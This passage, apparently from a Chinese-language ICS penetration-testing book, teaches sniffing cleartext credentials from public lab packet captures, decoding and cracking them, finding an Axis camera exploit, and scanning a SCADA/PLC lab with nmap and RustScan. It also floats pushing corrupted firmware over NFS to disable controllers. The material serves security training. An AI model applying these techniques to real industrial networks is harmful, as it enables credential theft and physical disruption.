  • http.request.method: 这个过滤器提供了很多有趣的信息,因为它会提取所有的GETPOSTPUTDELETE方法。如果你在寻找应用程序编程接口API)调用和命令,这将非常有用。

    故事时间

    我曾参与过多个与机场相关的项目。这个特定的机场项目恰好在其公共 Wi-Fi 上使用了一个平面网络;虽然他们并不认为这是平面网络,但就实际情况而言,它确实是一个平面网络。通过简单地嗅探 Wi-Fi 的广播和多播流量,很明显他们没有更改网关的默认凭证。通过设置远程嗅探会话,我能够捕获到通过他们的公共 Wi-Fi 传输的所有内部网络通信。结果发现,他们没有在SIEM上启用 HTTPS,而且他们使用一个账户记录并访问所有进出其 SIEM 的数据。一旦我获取了这些使用 Base64 编码的凭证,稍微解码并启用日志记录,我就能够看到机场的整个基础设施,包括所有航站楼、行李处理、暖通空调、自动扶梯、照明等。

由于 HTTP 包含大量数据,这是我使用 Wireshark 时的首选过滤器。我希望看到它所包含的所有简单数据并记录下来,以便以后利用。接下来,我将使用 FTP 作为显示过滤器,深入分析数据,寻找有趣的信息。

FTP

作为 ICS 网络中最常被探索的协议之一,FTP 几乎被自动化供应商滥用。事实上,FTP 的整个前提是使用非加密协议传输文件,这意味着通过该协议传输的所有内容都容易受到利用。我们有一些供应商使用 FTP 来更新固件或可编程逻辑。试想一下,如果你能够伪造一个明文文件,轻松触发从稳定的固件版本降级到之前的脆弱固件版本。所有这些都可能发生,因为比喻来说,他们并没有提到他们只是试图为流感贴个创可贴。

尝试在 Wireshark 中使用以下显示过滤器:

  • ftp.request.command == "USER"

  • ftp.request.command == "PASS"

该过滤器直接针对试图访问该主机并失败的用户和密码。它可以找到使用 Hydra 等工具进行的暴力破解尝试,或者如果非常幸运,可能会找到有效用户的真实凭证。

ftp-data:使用此过滤器,你可以解析通过 FTP 协议在设备之间传输的文件。如果你发现一个数据共享,其中包含一些敏感信息的文件,这个过滤器会非常有用。

由于 FTP 在工业领域仍然被广泛使用,因此在捕获网络数据包时,它是一个需要分析的关键因素。可以提取和重复使用凭证和文件,从而为网络中的潜在更深层次的攻击提供可能性。谁知道,这本身可能就能验证一项完成的渗透测试,因为有些公司内部的文件共享中可能存在滞留的知识产权。继续探讨文件共享的主题,我们接下来将分析 NFS。

NFS

这是另一个在工业自动化的程序交付端使用的动态协议。编写一个简单的 Python 脚本,能够匿名认证到远程共享,并通过 NFS 上传一个损坏的固件版本,实际上可能会影响并使所有在可访问子网中的控制器无法工作。免责声明:权力越大,责任越大。尽管这是可能的,但在渗透测试中绝不应采用这种策略。我只是指出一些仍然存在于行业中的传统实现的基本缺陷,并且这些缺陷已经被全球采用。因此,我不仅关注 NFS 作为固件交付方法,还因为root_squashing。在某些情况下,你可能会发现root_squashing已被关闭,能够迅速找到这一点可以帮助我们在 OT 环境中的机器上快速提升权限。以下是一些可以用来缩小可能暴露的系统范围的显示过滤器:

  • nfs.readdir.entry:此过滤器帮助提取通信内容,以显示是否存在可被利用的文件共享。在协议内部,明文显示的文件列表将帮助我们绘制出现有资产,并可能指示进入系统的入口点。

  • nfs.access_rights:下一个过滤器允许我们筛选出被锁定的文件共享。如果我们运行此过滤器,它将提取与特权访问相关的数据包,如读取(READ)、查找(LOOKUP)、修改(MODIFY)、扩展(EXTEND)删除(DELETE)。这些信息非常重要,能够帮助你节省时间并减少在渗透测试过程中遇到的麻烦。

本部分中,我们讨论了如何使用 Wireshark 捕获网络流量。我们缩小了捕获过滤器的定义,讲解了它们的优势以及在渗透测试中的应用方法。我们还讨论了捕获过滤器与显示过滤器之间的区别。接着,我们深入探讨了一些关键的显示过滤器,它们可以帮助你发现网络内部的有价值信息,并且可以用于资产识别、潜在的利用途径、权限提升途径,以及可能的网络中转点。在下一部分,我们将通过使用显示过滤器分析数据包捕获文件,实际演练如何提取关键流量信息。

分析数据包中的关键信息

在前面的部分,我们讨论了如何使用显示过滤器分析httpftpnfs等协议。了解如何应用这些过滤器并提取关键数据,对成功进行渗透测试至关重要。此外,理解网络中谁与谁进行通信,并迅速应用过滤器聚焦于关键信息,是必不可少的技能,并且需要不断练习,才能提高流量分析的能力。在前面的部分,我提供了一些链接,我想再次强调,你需要不断练习,提高你的技能。人们通常将渗透测试人员称为网络武士或数字忍者:他们每天都在练习,以加强并精通自己的技能。在本部分中,我们将对多个数据包捕获文件进行分析,展示如何处理网络数据包捕获文件,并提取成功进行评估所需的关键信息。

注意事项

渗透测试者成功的关键要素之一不仅仅是能够攻破系统,而是能够清晰简明地沟通安全漏洞所在,以及你是如何利用这些漏洞获取环境访问权限的。这是我第一次真正谈论这个话题。但现在我们深入到流量分析中,并会遇到很多有趣的信息,我必须强调,你需要保持一个便签本,记录下看到的资产、捕获的信息、可以被利用的枢纽点,以及在网络中嗅探到的凭证。所有这些信息都需要记录下来,并确保在需要提交最终报告时可以轻松查阅。你会感谢自己开始做笔记并记录下你在网络中发现的那些有趣的信息。

现在,如果你回顾一下技术要求部分,我发布了一个关于 4SICS Geek Lounge 数据包捕获的链接。为了复习,这里再次给出链接:www.netresec.com/?page=PCAP4SICS

现在你可以利用你拥有的任何 PCAP 文件。这些文件在行业中是开放的,可以帮助我们真正发挥显示过滤器的强大功能。

继续用 Wireshark 打开名为4SICS-GeekLounge-151021.pcap的 PCAP 文件。你应该能看到大约 120 万个数据包被加载到 Wireshark 中。我希望你能尝试上一节中提到的第一个显示过滤器。使用http.authbasic过滤器,你应该能看到类似以下截图的输出:

图 6.12 – http.authbasic 显示过滤器

图 6.12 – http.authbasic 显示过滤器

如果你注意到Authorization: Basic YWRtaW46YWRtaW4=字段和值,你可以通过运行以下命令,运用你的命令行技能:

echo YWRtaW46YWRtaW4= | base64 -d

在你的命令行中,你将使用admin:admin凭证。

如果你更倾向于使用工具,那么我强烈推荐CyberChef,可以在gchq.github.io/CyberChef/找到。

CyberChef 是一个很棒的图形工具,用于执行编码/解码、密码学分析和转换等操作。简单来说,它有输入、输出和配方。在我们的案例中,我们希望将基本哈希值放入输入部分并应用From Base64配方。在输出部分,你将看到admin:admin凭证,如下图所示:

图 6.13 – 从 Base64 解码的 CyberChef

图 6.13 – 从 Base64 解码的 CyberChef

我个人喜欢使用命令行中的 Base64 来进行解码和其他任务,只在进行更复杂的任务时依赖 CyberChef,比如在 Base64 中编码 Node.js 反向 Shell 并将其注入到格式错误的 Web 门户中,不过我有点跑题了。现在在查看该过滤器时,你应该会注意到第二组凭证;你能找到它们吗?

第二组凭证将是Authorization: Basic cm9vdDpyb290,即root:root

现在,记得我之前建议你做笔记吗?让我们通过运行一个简单的显示过滤器来回顾一下我们发现了什么。我们得到了以下信息:

  • 资产192.168.2.42通过 HTTP 与192.168.88.2580端口进行通信,凭证为admin:admin

  • 资产192.168.2.88通过 HTTP 与192.168.88.4980端口进行通信,凭证为root:root,用户代理表明它可能是运行 Firefox 的 Ubuntu Linux x86_64。

所有这些信息都非常有用。我们知道有两个不同的子网,并且.2可以与.88通信。我们知道有两个 web 服务器在运行,并且它们使用的是一种旧的认证方式,这让我相信这两个服务器可能容易受到进一步的利用。和下面的图示类似,我还习惯于绘制连接图,以便后续作为视觉参考:

图 6.14 – HTTP 访问的视觉辅助图

图 6.14 – HTTP 访问的视觉辅助图

接下来,我们想要将过滤器从http.authbasic更改为http.request.method,此时你应该会看到大约 5,800 个包含GETPOSTOPTIONS 请求的数据包。在这里,我可以快速扫描信息列,寻找任何特别有趣的内容,比如文件名、DELETEPUTPOST 请求、授权尝试,或者任何能够提供更多网络细节和见解的内容。由于我们可以看到POST请求,我将调整过滤器,专注于POST请求,如下图所示:

图 6.15 – POST 请求

图 6.15 – POST 请求

现在,我们已经将 5,800 个数据包过滤为 15 个。请查看信息列,如下图所示,看看是否能找到任何可能感兴趣的内容:

图 6.16 – 信息列

图 6.16 – 信息列

我们可以从过滤器中看到有一些有趣的 URL 正在被 POST 到:

  • /goform/svLogin

  • /home.asp

  • /view/

点击第一个/goform/svLogin** **POST 请求并导航到application/x-www-form-urlencoded部分,我们可以看到表单项以明文传递,如下图所示:

图 6.17 – /goform/svLogin POST 请求

图 6.17 – /goform/svLogin POST 请求

我们现在找到了另一组root:dbps凭证。记下这些信息后,我们可以继续添加以下内容:

  • 资产192.168.2.42正在通过 HTTP 与192.168.88.115的端口80进行通信,后者是一个使用root:dbps凭证的 Digiboard 设备。

下一个数据包将是POST请求,目标为/home.asp。如果我们查看数据包的详细信息,会发现一个非常有趣的发现,那就是Cookie,如下面的截图所示:

图 6.18 – Cookie 字段

图 6.18 – Cookie 字段

在这里,我们可以看到另一组凭证:

  • AccountName508=admin

  • Password508=0192023a7bbd73250516f069df18b500

这非常有趣,因为该密码看起来像是加密的。我们可以使用几种不同的方法来确定它可能的加密类型。我个人在hash-identifierhaiti之间切换。对于这个例子,我们将使用hash-identifier,并在我们的 Kali 实例上运行以下命令,这是我们在*第一章**,使用虚拟化中安装的:

echo 0192023a7bbd73250516f069df18b500 | hash-identifier

你应该会收到类似以下的响应:

图 6.19 – Hash ID

图 6.19 – Hash ID

现在我们知道这个哈希值可能是 MD5 哈希,我们可以尝试使用多种工具进行破解,如hashcatJohn the Ripper。但是,我将访问crackstation.net,加载哈希并快速检查它是否已被破解。果然,它已经破解了,如下图所示:

图 6.20 – crackstation.net MD5

图 6.20 – crackstation.net MD5

现在,我将逐一检查这些请求,提取哈希值并在crackstation.net上检查。你应该会看到以下结果:

图 6.21 – CrackStation 找到的密码

图 6.21 – CrackStation 找到的密码

发现的凭证对如下:

  • admin:admin123

  • user:user123

  • admin:123

  • admin:ADMIN123

  • root:root123

现在需要注意的是,并非所有这些凭证都有效,我们需要更深入地查看设备之间的通信,以找出哪些凭证是真实的,哪些是无效的。我们可以通过高亮显示其中一个数据包并右键单击它来做到这一点。然后,我们可以选择跟踪 | HTTP 流,如下面的截图所示:

图 6.22 – 跟踪 | HTTP 流

图 6.22 – 跟踪 | HTTP 流

这个接收到的数据包输出如下:

图 6.23 – HTTP 302 重定向

图 6.23 – HTTP 302 重定向

因为我们看到一个 HTTP/1.0 302 重定向,我们可以合理推测提供的凭据是错误的。如果你继续以这种方式分析数据包,你应该会看到一个 HTTP/1.0 200 OK 响应,这表示凭据是有效的,用户已经在网页门户中通过认证:

图 6.24 – HTTP 200 OK

图 6.24 – HTTP 200 OK

现在,我们应该回去更新之前的图示,并确保更新我们的笔记。以下是新图示的样子:

图 6.25 – HTTP 数据检测

图 6.25 – HTTP 数据检测

在这里,我们仅使用了两个特定于 HTTP 的过滤器,并且已经发现了可以在交换机技术中使用的有效凭据,这让我们能够深入网络。还有更多广泛的过滤器可以用来解析出更大量的信息;我只是想展示在非常短的时间内获取关键信息有多么容易。在最后一节中,我们将讨论 FTP 协议并展示该协议的显示过滤器。使用相同的 PCAP 文件,更新你的显示过滤器,仅仅查找所有的 FTP 流量,如下图所示:

图 6.26 – FTP 流量

图 6.26 – FTP 流量

选择第一个数据包,即 No.** **480883,查看数据包信息,我们可以迅速找到非常相关且易于识别的资产详情,如下所示:

图 6.27 – AXIS 206 网络摄像头

图 6.27 – AXIS 206 网络摄像头

在这里,我们碰巧找到了一个 AXIS 网络摄像头,该摄像头在数据包内发布了资产型号和版本号。现在回想一下我们讨论开源情报的章节;我们应该能够打开 www.exploit-db.com/ 并在搜索框中输入 axis network camera。你应该能看到以下结果:

图 6.28 – Exploit 数据库

图 6.28 – Exploit 数据库

让我们点击看到的第一个条目,Axis 网络摄像头 - .srv 到 parhand 远程代码执行(Metasploit)。查看该条目的详细信息后,我们发现有一个很好的 Metasploit 模块,可以让我们对这个摄像头进行远程执行。太棒了!让我们将其添加到图示和文档中。有了这些新信息,让我们回到笔记中,看看我们现在发现了什么。以下是更新后的图示:

图 6.29 – HTTP 服务器与 AXIS 网络摄像头

图 6.29 – HTTP 服务器与 AXIS 网络摄像头

请注意,通过使用 HTTP 过滤器,我们发现了一个位于 IP 地址192.168.88.49的 Web 服务器,凭证为root:root。现在,在运行 FTP 显示过滤器后,我们可以看到另一个设备与该先前的资产进行通信。然而,我们现在有了更多的资产信息,可以确定该端点是一个网络摄像头,于是我们更新了我们的笔记,并记录下我们发现的漏洞。打开接下来的两个 PCAP 文件,并运行我们在4SICS-GeekLounge-151021.pcap上使用的相同过滤器,确保记录下你的发现。

在这一部分,我们深入探讨了显示过滤器和可以提取的数据。我们使用了在www.netresec.com/?page=PCAP4SICS上公开发布的 PCAP 文件。然后,我们通过使用各种 HTTP 和 FTP 显示过滤器来探索数据。我们能够捕获正在网络上使用的有效凭证,并识别出一些具有战略意义的易受攻击资产。这一部分帮助我们理解了为什么捕获和分析网络流量对于渗透测试至关重要,因为可以从网络中提取到更多有用和关键的数据。

总结

在本章中,我们通过回顾 OSI 模型并理解模型中存在的各种层次,了解了数据包的形成方式。我们进一步分析了 IPv4 数据包的结构,并与从实验设备上捕获的数据包进行了对比。在对数据包是什么以及它们如何构建有了更好的理解后,我们使用 Wireshark 捕获了这些数据包。我们利用了上一章中创建的镜像端口,并讨论了捕获过滤器和显示过滤器之间的区别。

最后,我们从一个开源的 ICS 实验室下载了一些 PCAP 文件,并使用 Wireshark 分析了我们在这些数据包捕获中发现的流量。我们利用显示过滤器来缩小关键网络数据的范围,如有效凭证、操作中的 Web 门户和工作中的网络摄像头。理解并实践这些技术和方法将使你在未来的渗透测试中取得非常成功的成果。

在下一章,我们将把迄今为止学到的所有内容应用到实验中。我们将讨论多个主题,如枚举、协议深度分析、利用和权限提升。这些都是成功进行渗透测试所需的关键要素。

第三部分 - 我是海盗,听我咆哮

我们将对扫描系统、信息收集、漏洞利用、获取访问权限、提升权限,最后通过我们的实验室基础设施进行切换,进行从头到尾的演练。这些战术、技术和流程需要不断练习和磨练,以保持在这个行业中的竞争优势。技术和策略在不断发展,这默认会导致威胁态势的变化,最终迫使我们不断提升技能。

以下章节将在本节中进行介绍:

  • 第七章, 扫描基础 101

  • 第八章, 协议进阶 202

  • 第九章, 忍者 308

  • 第十章, 我能做到 420

  • 第十一章, 哇...我必须深入探讨

第七章:扫描基础知识

在上一章中,我们讨论了数据包的结构以及它们如何与 OSI 模型相关,使用 Wireshark 设置捕获过滤器,并通过显示过滤器分析我们从 Netresec 下载的工业控制系统ICS)实验室数据包捕获pcaps),通过这些技能来加深知识并提升我们的渗透测试能力。

在本章中,我们将安装 Ignition SCADA 并将我们的 Koyo Click PLC 实验室与之连接。接着,我们将查看用于枚举和扫描工业网络的多种工具,从使用 NMAP 和 RustScan 进行端口扫描,到使用人机界面HMIs)、SCADA 操作员屏幕、PLC 控制屏幕和流量计算机网页门户进行 Web 应用程序扫描,使用工具包括 Gobuster 和 feroxbuster。我们将使用这些工具并在我们的 Ignition SCADA 实例上运行它们。

在本章中,我们将覆盖以下主要主题:

  • 安装和配置 Ignition SCADA

  • NMAP 简介

  • 使用 RustScan 进行端口扫描

  • Gobuster 简介

  • 使用 feroxbuster 进行 Web 应用程序扫描

技术要求

对于本章,你将需要以下内容:

  • Ignition SCADA:你需要安装 Inductive Automation 的 Ignition SCADA 才能使用 Gobuster 和 feroxbuster。使用以下链接并在你的 SCADA 虚拟机主机上进行安装:

    inductiveautomation.com/downloads/

)

你可以在这里查看本章代码的实际应用:bit.ly/3veEeNm

安装和配置 Ignition SCADA

Ignition SCADA 是市场上最新的平台之一,真正采用了现代技术并提供模块化框架。许多行业和一些大公司已经采纳了它来管理他们的工业控制过程。通过在实验室使用现实世界的软件和硬件,我们可以更好地理解事物如何在进行评估之前相互协作:

  1. 使用之前提供的链接,inductiveautomation.com/downloads/,我们将为我们的 Ubuntu SCADA 虚拟机下载软件包。

    你应该有一个名为ignition-8.1.5-linux-x64-installer.run的软件包。

  2. 运行以下命令将启动安装程序:

    ./iginition-8.1.5-linux-x64-installer.run

    这将启动安装程序窗口,界面如下所示:

    图 7.1 – Ignition 安装程序

    图 7.1 – Ignition 安装程序

  3. 通过默认的窗口选择下一步;我们将保持 Ignition 安装的默认位置(/usr/local/bin/ignition)。点击下一步,如下图所示:图 7.2 – 安装位置

    图 7.2 – 安装位置

  4. 接下来,我们选择典型安装,然后点击下一步按钮,如下图所示:图 7.3 – 典型安装

    图 7.3 – 典型安装

  5. 在选择完这些选项后,你将点击安装按钮。你会看到 Ignition 正在提取包并将软件安装到你的 SCADA 主机上。

  6. 点击完成,这将带你进入一个页面,你可以在其中选择三种主要版本—Maker EditionIgnitionIgnition Edge,如下图所示:图 7.4 – Ignition 版本

    图 7.4 – Ignition 版本

  7. 点击Ignition,因为我们知道这是行业中主要使用的产品。

    这将带你进入条款和条件页面。选择同意,然后你将看到一个创建新用户的页面,如下所示:

    图 7.5 – 创建用户

    图 7.5 – 创建用户

    我为了简化安装过程,选择了将用户名设为scada,密码也设为scada

  8. 接下来,你将看到配置端口的选项提示。我将端口保持为默认设置,这是大多数行业安装的典型配置。你可以在以下截图中看到 HTTP、HTTPS 和网关网络端口的默认设置:图 7.6 – 配置端口

    图 7.6 – 配置端口

  9. 接下来,你需要点击完成设置按钮,你将进入一个页面,显示安装已完成,并可以点击一个按钮来启动网关,如下图所示:图 7.7 – 启动网关

    图 7.7 – 启动网关

  10. 继续点击启动网关按钮。可能需要一两分钟才能启动,因此可以坐下来放松一下,或者去喝杯咖啡。安装完成后,你将看到一个选项,允许你从头开始或启用快速启动。我选择了是,启用快速启动 ->,因为它能为我简化一些选项。看看下面的截图:图 7.8 – 启用快速启动

    图 7.8 – 启用快速启动

  11. 一旦启用快速启动,你将被提示登录。用我们之前创建的用户名和密码登录吧:图 7.9 – 登录

    图 7.9 – 登录

  12. 如您所见,您现在可以使用完整的 SCADA 产品,并且该产品将以试用模式运行。您可以在试用模式下运行并测试该产品;但是,每 2 小时必须重置试用期。从这里开始,我们将把 Koyo Click PLC 连接到 Ignition。点击屏幕左侧的状态按钮,这将带您到一个概览屏幕,显示架构环境系统以及许多其他选项,如下图所示:图 7.10 – 状态

    图 7.10 – 状态

  13. 从这里,您需要查找并点击设备按钮,如下图所示:图 7.11 – 设备

    图 7.11 – 设备

  14. 这将带您进入设备仪表板,显示连接设备的详细信息,如下图所示:图 7.12 – 设备仪表板

    图 7.12 – 设备仪表板

  15. 从这里,我们将点击屏幕右上角的配置按钮。这将带我们到一个屏幕,在那里我们可以创建一个新设备。请点击创建新设备…按钮:图 7.13 – 创建新设备…

    图 7.13 – 创建新设备…

    会显示一个已包括设备的列表,但您可能会注意到,列表中没有专门的 Koyo Click。然而,我们知道我们的设备使用 Modbus TCP 协议并通过端口502进行通信,因此向下滚动,直到找到以下选项并选择它:

    图 7.14 – Modbus TCP

    图 7.14 – Modbus TCP

    这将为您提供一个配置常规连接性参数的屏幕。

    我设置了以下参数:

    • **名称: **Koyo Click

    • 描述: 实验室 PLC Koyo Click

    • **主机名: **192.168.1.20

    • **端口: **502

    • **通讯超时: **2000

    这是您应看到的屏幕,前面的信息已经填写:

    图 7.15 – PLC 配置

    图 7.15 – PLC 配置

    有一点需要特别注意。Koyo Click 的地址范围从 0 开始,正因为如此,Ignition 提供了一个选项,可以在高级属性中进行设置,如下所示:

    图 7.16 – 基于零的寻址

    图 7.16 – 基于零的寻址

  16. 完成后,您应该会看到一条消息,显示 Koyo Click 已成功创建并添加到系统。如果一切正常,在状态栏下,您将看到已连接,如图所示:图 7.17 – 连接的 PLC

    图 7.17 – 连接的 PLC

  17. 接下来,我们将把我们的线圈映射到 Ignition 系统中,因此我们将点击连接状态旁边的更多下拉按钮。在此下拉菜单中,我们选择地址,如下一张截图所示:图 7.18 – 地址

    图 7.18 – 地址

    这将带我们进入地址配置屏幕,允许我们将地址映射到 Ignition 中。我们将使用以下数据来配置我们的地址:

    • 前缀Lights

    • Start1

    • End4

    • 单元 ID0

    • Modbus 类型线圈

    • Modbus 地址000000

    请注意,Start编号是1,这是因为我们选择了基于零的寻址选项。End编号是4,因为我们有四盏灯连接到我们的线圈。Modbus 地址的起始地址是000000,这与 Koyo Click 的特点有关。你可以在以下截图中看到输入是如何配置的:

    图 7.19 – 地址配置

    图 7.19 – 地址配置

  18. 一旦我们为地址配置点击保存,我们将把新创建的 Modbus 地址映射到我们的开放平台通信OPC)服务器。点击屏幕左侧的Config按钮,该按钮位于之前选择的Status按钮下方。向下滚动,直到找到OPC CLIENT,然后选择OPC 快速客户端,如下面的截图所示:图 7.20 – OPC 快速客户端

    图 7.20 – OPC 快速客户端

  19. 这将弹出一个屏幕,在该屏幕上你可以验证你的标签是否已经从 Koyo Click PLC 的 Modbus 映射到 Ignition 的内部,并且你应该能看到所有四个灯光在ACTION列下被映射,并带有三个字母[s][r][w]

    • [s]表示订阅。

    • [r]表示读取。

    • [w]表示写入。

    点击这些Action链接可以让你直接与 PLC 进行交互。以下是你应该看到的屏幕:

图 7.21 – OPC 标签映射

图 7.21 – OPC 标签映射

最后,你将打开设计器并创建一个图形,将四个灯光按钮与其链接。不过,我觉得这部分超出了我们的讨论范围,并且对于接下来要讨论的内容并不关键。所以,我将留给你去探索如何设计 SCADA 图形。

在本节中,我们详细介绍了 Ignition SCADA 的安装过程。我们将 PLC 链接到系统并验证其工作情况。稍后我们将在本章中使用这个 SCADA 系统进行 Web 应用枚举。在下一节中,我们将使用 NMAP 扫描开放端口。我们正在按照渗透测试中通常执行的逻辑步骤进行,并使用专业工具进行实战演练。

NMAP 介绍

来自自动化控制领域,我在职业生涯早期就使用 NMAP 来排查开始采用基于 TCP 的协议的新技术。寻找具有开放端口且没有任何文档的硬件在 00 年代中期是很常见的事。随着接下来的二十年,我跟踪了这个项目,并见证了它发展成今天这个基础性工具。它不仅用于寻找开放端口,还可以用于执行操作系统指纹识别、应用识别等许多功能。

在本节中,我们将安装并运行 NMAP,对我们的实验室环境进行扫描。我们将识别开放的端口及其上运行的服务。在实际工作中,扫描网络以寻找资产和开放端口是进入工业网络并在客户网络中获取立足点和枢纽点的基础。正如上一章节所提到,Wireshark 是渗透测试人员的第一工具,我会说 NMAP 是第二工具。借助这两个工具,我可以进行评估、开展渗透测试、参与夺旗赛CTF)、排除网络故障、对 SCADA 系统进行通信分析等。

每个主要的系统都可以利用某种包管理器来获取 NMAP 的安装包。

对于 Linux,以下是内容:

apt install nmap

对于 macOS,以下是内容:

brew install nmap

对于 Windows,以下是内容:

nmap.org/zenmap/

)

Zenmap 提供了一个可视化工具,可以用于分析和绘制网络和资产。

现在我们已经在系统上安装了 NMAP,我们想对实验室网络进行扫描。为了提醒您回顾一下第一章使用虚拟化,以下是网络布局:

从以下截图开始,首先向 Kali Linux 添加第二个接口,并将其置于操作与控制网络区域:

Figure 7.22 – 第二个接口

图 7.22 – 第二个接口

现在,您将在企业区域中拥有一个接口,这是实验室的第 5 级,现在您应该可以看到您新添加的操作区域,这是第 3 级。

现在,在您的 Kali Linux 虚拟机上,将新添加的第二个接口设置为与 Windows 7 Professional 在同一子网中的 IP 地址。我选择将我的 IP 地址设置为192.168.3.200。接下来,我们将对子网进行一个非常基础的扫描。

免责声明

扫描或枚举阶段是我们开始生成可以在网络上追踪到的信息的起点。这被认为是一种主动的方法,可能带来一些后果,如被检测到,或者更糟糕的是,扫描旧设备的端口,导致设备挂起或停止工作。这是来自现实世界经验的警示故事。

在免责声明处理完毕后,我们开始进入正题。即使我们知道自己的实验室以及其中的设备,我们仍然会从扫描整个子网开始,作为 NMAP 的介绍。

运行以下命令,它会进行快速扫描,覆盖整个子网,因此为/24

nmap 192.168.3.0/24

你应该会看到以下结果,扫描报告显示了你的 Kali 主机,但没有其他信息。你们中的一些人可能会好奇为什么 Windows 机器没有出现在扫描结果中:

图 7.23 – 子网扫描

图 7.23 – 子网扫描

答案是 Windows 正在阻止/丢弃我们的 ping 探测,NMAP 会跳到提供的下一个 IP 地址。你可以通过在命令末尾加上-Pn(不使用 ping)选项来执行先前的命令,格式如下:

nmap 192.168.3.0/24 -Pn

现在我们要聚焦于我们在第一章中安装的 Windows 机器,使用虚拟化。运行以下专门针对 Windows 机器的命令:

nmap 192.168.3.10 -Pn

你应该会看到以下结果;然而,这些结果可能会根据你在虚拟机中启用或禁用的服务有所不同:

图 7.24 – Windows 扫描

图 7.24 – Windows 扫描

使用 NMAP 时,有许多选项,如果你运行man NMAP命令,可以阅读源文档,深入了解 NMAP 提供的所有可能性和选项。我们将仅仅运行一个非常激进的扫描,以展示在 Windows 主机上可以发现的详细信息。如果你阅读了手册信息,你会注意到文档中提醒不要在未授权的目标上使用-A(激进扫描选项)。由于我们拥有这台主机并且它位于我们的实验室中,我们可以继续运行它:

nmap -A 192.168.3.10 -Pn

你会注意到相同的端口扫描结果被返回,但这次,使用激进模式,脚本将对主机执行,以识别更多详细信息,如下所示:

图 7.25 – 激进扫描

图 7.25 – 激进扫描

从截图中,我们发现了以下资产信息:

  • 操作系统Windows 7 Professional N 7601 Service Pack 1

  • 计算机名称WIN-VA8PE66T785

  • 工作组Workgroup

  • SMB 用户guest

  • SMB 版本2.0

这在你的评估过程中非常有用,因为你可以开始探查网络中发现的主机,确定哪些端口是开放的,并了解在这些开放端口上运行了哪些服务。

激进模式产生的额外信息是通过对发现的主机运行脚本得到的。这些NMAP 脚本引擎NSE)脚本可以在 Kali Linux 发行版中找到,路径为/usr/share/nmap/** **scripts,并且可以通过运行以下命令查看列表:

ls /usr/share/nmap/scripts

scripts文件夹下,你可以找到特定于 ICS 的脚本,如下所示:

  • bacnet-info

  • enip-info

  • modbus-discover

  • s7-info

这只是安装 NMAP 时包含的一些默认脚本的列表。如果你访问github.com/digitalbond/Redpoint,你将找到可以包含在 NMAP 中的脚本列表,以便更深入地枚举你在职业生涯中遇到的各种 ICS 硬件。

在本节中,我们快速讨论了 NMAP 是什么以及它的功能。我们在系统上安装了 NMAP,并开始扫描我们的实验室。我们对 Windows 主机进行了一个积极的扫描,然后讨论了 NSE。最后,我们查看了可以运行的 ICS 特定脚本。关于 NMAP 和 NMAP 脚本有很多专门的书籍和课程;本节是为了简单介绍 NMAP 的重要性,并展示如何在工业网络中使用它。

在下一节中,我们将介绍 RustScan,它被称为现代端口扫描器。我们将把 RustScan 安装在我们的 Kali Linux 发行版上,并在实验室环境中运行它。

使用 RustScan 进行端口扫描

NMAP 一直是我首选的端口扫描工具,直到最近,我发现了 RustScan。RustScan 的一个主要优点是它扫描所有 65K 端口的速度极快;它可以在 3 秒内完成这项工作。与 NMAP 相比,简直是天壤之别。我曾经设置 NMAP,然后去吃午饭,回来时它还在运行。它支持完整的脚本编程,可以通过 Python、Lua、Bash,甚至将 RustScan 的结果传递给 NMAP。

当时间紧迫时,RustScan 是首选。然而,我仍然会回到 NMAP 来处理某些特定任务,但那更多是出于熟悉度,正如之前所说,练习,练习,再练习。在本节中,我们将安装 RustScan,并在实验室中的机器上运行它。我们将观察扫描运行速度的差异,并熟悉其语法,以便将这个工具添加到我们的渗透测试工具库中。

安装 RustScan

官方文档可以通过以下链接找到:

github.com/RustScan/RustScan#-full-installation-guide

我将专注于仅在我们的实验室虚拟机上安装 RustScan;然而,欢迎你阅读相关材料,并在你喜欢的任何系统上安装它。

在我的 Kali 虚拟机上打开 Firefox ESR,我将导航到以下链接:

github.com/RustScan/RustScan/releases

你将看到以下屏幕,包含.deb软件包和源代码包:

图 7.26 – RustScan 软件包

图 7.26 – RustScan 软件包

我将点击 rustscan_2.0.1_amd64.deb 软件包并将其下载到我的计算机上。然后我打开终端窗口并导航到我的 ~/Downloads 文件夹来验证该软件包。验证软件包后,我将执行以下命令来安装该软件包:

sudo dpkg -i rustscan_2.0.1_amd64.deb

现在,如果一切正常,你应该会看到以下结果:

图 7.27 – RustScan 安装

图 7.27 – RustScan 安装

现在我们已经安装了 RustScan,接下来将运行一个快速的帮助命令,来获取我们可以使用的命令的概览:

rustscan -h

你将看到以下结果:

图 7.28 – RustScan – 帮助

图 7.28 – RustScan – 帮助

警告

在继续之前,需要了解的是,快速扫描的代价是噪声。RustScan 能够在 3 秒钟内检测到 65K 个端口,这意味着它在网络上非常嘈杂,你将被检测到。此外,对敏感设备进行此类扫描几乎肯定会导致它们崩溃,因为这些设备从未设计用来在如此高的速率下处理成千上万的请求。这将对操作造成影响并造成生产损失;在将此工具用于实时生产网络之前,请阅读有关减小批处理大小和增加超时的相关内容。

解决这个问题后,再次尝试扫描你的 Windows 主机并观察速度。使用以下命令:

rustscan -a 192.168.3.10

你将看到以下结果:

图 7.29 – RustScan -a Windows 主机

图 7.29 – RustScan -a Windows 主机

由于 RustScan 的可扩展性,我们可以通过传递参数来运行 NMAP 命令。我们可以对 SCADA 192.168.2.10 主机进行激进扫描。使用 rustscan 命令并将批处理大小 -b 设置为 10,地址 -a 设置为 192.168.2.10,我们将传入 NMAP -A 激进扫描命令:

rustscan -b 10 -a 192.168.2.10 -- -A

运行此命令后,如果你按照第一章《使用虚拟化》的步骤操作,你应该已经打开了以下端口:

  • 21

  • 22

  • 23

这在下面的截图中展示:

图 7.30 – RustScan – NMAP -A 扫描

图 7.30 – RustScan – NMAP -A 扫描

下一个截图已被裁剪并缩短,以便于阅读。NMAP -A 激进扫描的输出显示了开放的端口以及可能在这些端口上运行的服务,如下所示:

图 7.31 – 端口服务运行情况

图 7.31 – 端口服务运行情况

从中我们可以看到以下服务及其在开放端口上运行的版本:

  • 21/tcp open ftp vsftpd 3.0.3

  • 22/tcp open ssh OpenSSH 8.2p1

  • 23/tcp open telnet telnetd

我们还发现该主机正在运行 Ubuntu Linux,这不足为奇,因为我们已经安装并配置了这些服务。

RustScan 不仅可以运行 NMAP 选项,还可以从命令行运行脚本,或者我们可以创建自己的自定义脚本并运行它们以收集更多信息。在这个例子中,我将运行 NMAP modbus-discover 脚本,对实验室中的 PLC 进行扫描。在我的例子中,它是 Koyo CLICK PLC,但同样,这也可以是任何你想在实验室中设置的 PLC。

